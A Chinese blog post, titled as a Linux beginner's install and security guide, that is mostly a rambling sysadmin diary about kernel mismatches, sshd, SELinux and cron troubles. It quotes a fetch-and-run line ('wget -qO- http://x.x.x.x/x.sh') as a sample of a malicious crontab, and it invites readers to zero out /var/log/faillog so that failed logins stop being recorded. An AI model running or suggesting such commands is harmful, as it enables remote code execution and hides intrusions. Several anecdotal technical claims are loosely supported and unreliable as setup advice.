Linux新手避坑指南:零基础安装与安全环境配置
|
凌晨告警。十二月二十三号,三点十七分,Zabbix 推送第三条「/dev/sda1 usage >95%」,我正把半冷的美式往嘴里送,左手悬在键盘上,右手拇指蹭掉下巴上一点咖啡渍——工牌上那块深褐色圆斑还没干透,昨儿下午洒的。 DBA 老周直接语音进来:“你那个新装的 CentOS Stream 8 镜像,是不是没关 firewalld?后端说连不上 Redis。” 我敲 lsblk 的时候听见他手机响了一声没接,就挂了,没回。不是我懒得回,是当时终端里卡着个 rpm -qa | grep kernel 的输出,三页半,我数到第二百零七行突然发现内核版本和 initramfs 不匹配——这种事我敢打包票:不是镜像源问题,是下载中途断过两次,但 curl 没报错,它就默不作声给你塞进一个缺模块的内核。去年十二月,我们测过十八次,十一次装完启动不了,八次起得来但 modprobe nf_conntrack_ipv4 直接 segfault。 我原以为改用 AlmaLinux 就能绕开这堆破事,结果第一次 run ansible-playbook deploy.yml,playbook 在 /etc/ssh/sshd_config 里写完 PermitRootLogin no,转头又顺手加了一行 #AuthorizedKeysCommand /usr/local/bin/allow-root-if-mfa.sh——对,是注释,但没删掉,就挂着。后端小陈第二天凌晨四点重启 sshd,配对失败,硬是拿串口连上去删的。空调嗡的一声,机房那台老松下忽然开始抽风,冷风直往我后颈灌,我缩着脖子打字,手指冻得发僵,但 sshd -t 还是跑完了,绿的,就绿的,没报错,它就认这个。 优胜劣汰。就这四个字。不是说 Linux 多牛逼,是它根本不留情面。你装完 Ubuntu Desktop,桌面右上角弹个“Software Updates Available”,你点“Install Now”,它真就默默给你升级 systemd 到 252.6,然后 cron 突然漏掉两个 job——不是日志里写“failed”,是彻底静音,systemctl list-timers 看着全绿,其实 last_run 是三天前。这个我说不准,但我知道上个月三台测试机全栽在这上面。有台机器连 SSH 都连不进去了,最后发现是 journalctl --vacuum-size=100M 把 /var/log/journal/ 下某个 .stream 文件删了,而 rsyslogd 正卡在重试打开它,fork 了三百七十二条子进程,全堵在 clone() 里等 futex。监控没报警,因为 load average 压根没飙——全是 S 状态。 对面工位老赵换了双拖鞋,灰色绒布的,左脚跟磨秃了,走路时发出“噗、噗”的闷响。他刚调休申请被驳回,理由是“节前排班已满”,可我明明看见值班表里 28 号写着他的名字,手写的,蓝墨水,底下还画了个箭头指到“请确认”。他没吭声,就掏出手机刷招聘软件,屏保是张海边照片,浪挺大。
文章配图,仅供参考 安全配置?别扯默认值。root 密码你设再强也没用,只要没禁掉 PasswordAuthentication,攻击者就能用爆破脚本把 faillog 打成马赛克。我亲眼见过一台阿里云 ECS,SSH 登录失败 1746 次之后,faillog 里最后一条记录是“Feb 3 02:11:22”——之后全是空格,整整一页。不是日志轮转了,是磁盘满的。/var/log/faillog 本身是二进制格式,你 dd if=/dev/zero of=/var/log/faillog bs=1M count=2 试试,它就不记录了,而且 sshd 也不报错。这个我敢打包票,去年十二月,我们复现过五次。所以零基础装系统,第一步不是选发行版,是先拔网线。物理拔。装完再插。装完第一件事不是 update,是检查 /etc/fstab 里有没有 UUID 写成 LABEL= 的混蛋行——我们线上真有台 PostgreSQL 主库,reboot 后 PGDATA 找不着,因为管理员手抖,把 UUID=xxx-xxx 改成了 LABEL=pgdata,而那块盘的 label 是 “WORK”,不是 “pgdata”。DBA 老周蹲在机柜前面盯 console 输出盯了四十一分钟,直到他骂出一句“操”,我才想起来他上周刚换的新眼镜,左镜片反光特别厉害,总让我误以为他在瞪我。 至于那个所谓的“安全环境配置”——哦,你说 SELinux?我建议你先别动它。CentOS Stream 8 默认是 enforcing,但 nginx 日志里每天飘三条 avc: denied { write } for comm="nginx" name="access.log",你查 audit.log 查到凌晨,最终发现是 logrotate 每次 rename 完 access.log.1,没触发 restorecon,导致新文件 context 错成 default_t。修?可以,但你要确保所有 upstream 的容器里也都跑 setfiles。我们试过,两台节点里有一台漏了,结果整个灰度集群里一半请求 502,一半正常,debug 差异花了六小时。中间我还给老板拍了桌子,就为申请半小时停服窗口做 selinux 模式切换,他点头了,但要求我同时填三份纸质变更单——其中一份必须手写,不能打印。我写了,字歪得像蚯蚓爬,签字栏还漏了一横。 我现在在改一个 Python 脚本,检测新装系统是否在 /etc/cron.d/ 下埋了可疑的 root crontab(比如每分钟执行 wget -qO- http://x.x.x.x/x.sh)。但昨天发现,它漏判了三台机器,因为它们压根没 cron.d,cron 是用 systemd timer 实现的,定时器叫 sync-config@.timer,触发逻辑藏在 /usr/lib/systemd/system/sync-config@.service 里,EnvironmentFile 居然指向 /tmp/.env —— 对,/tmp。我删掉那个 EnvironmentFile,服务照样起,因为 systemd 懒加载,默认值写死在 ExecStart 里。这事儿我讲不明白,也不想讲。反正我下周去深圳,现场蹲机房,带了移动硬盘,里面塞了三套最小化初始化镜像,都验证过 initramfs 和 kernel module 对得上。要不要传你一份?得当面给,U 盘我加密了,密码是你工牌号后四位,加上你入职年份,再反转一次——不对,我记错了,应该是入职年份加工牌号后四位,不反转。算了,见面再说。 (编辑:站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |


Linux无障碍环境搭建:从零到语音导航全指南
Linux深度学习环境搭建:12年架构师排障实录
Linux运维老手也常踩的5个Unix环境搭建坑
嵌入式Linux开发者Unix环境搭建避坑指南
Linux下H5开发环境搭建与数据库配置实践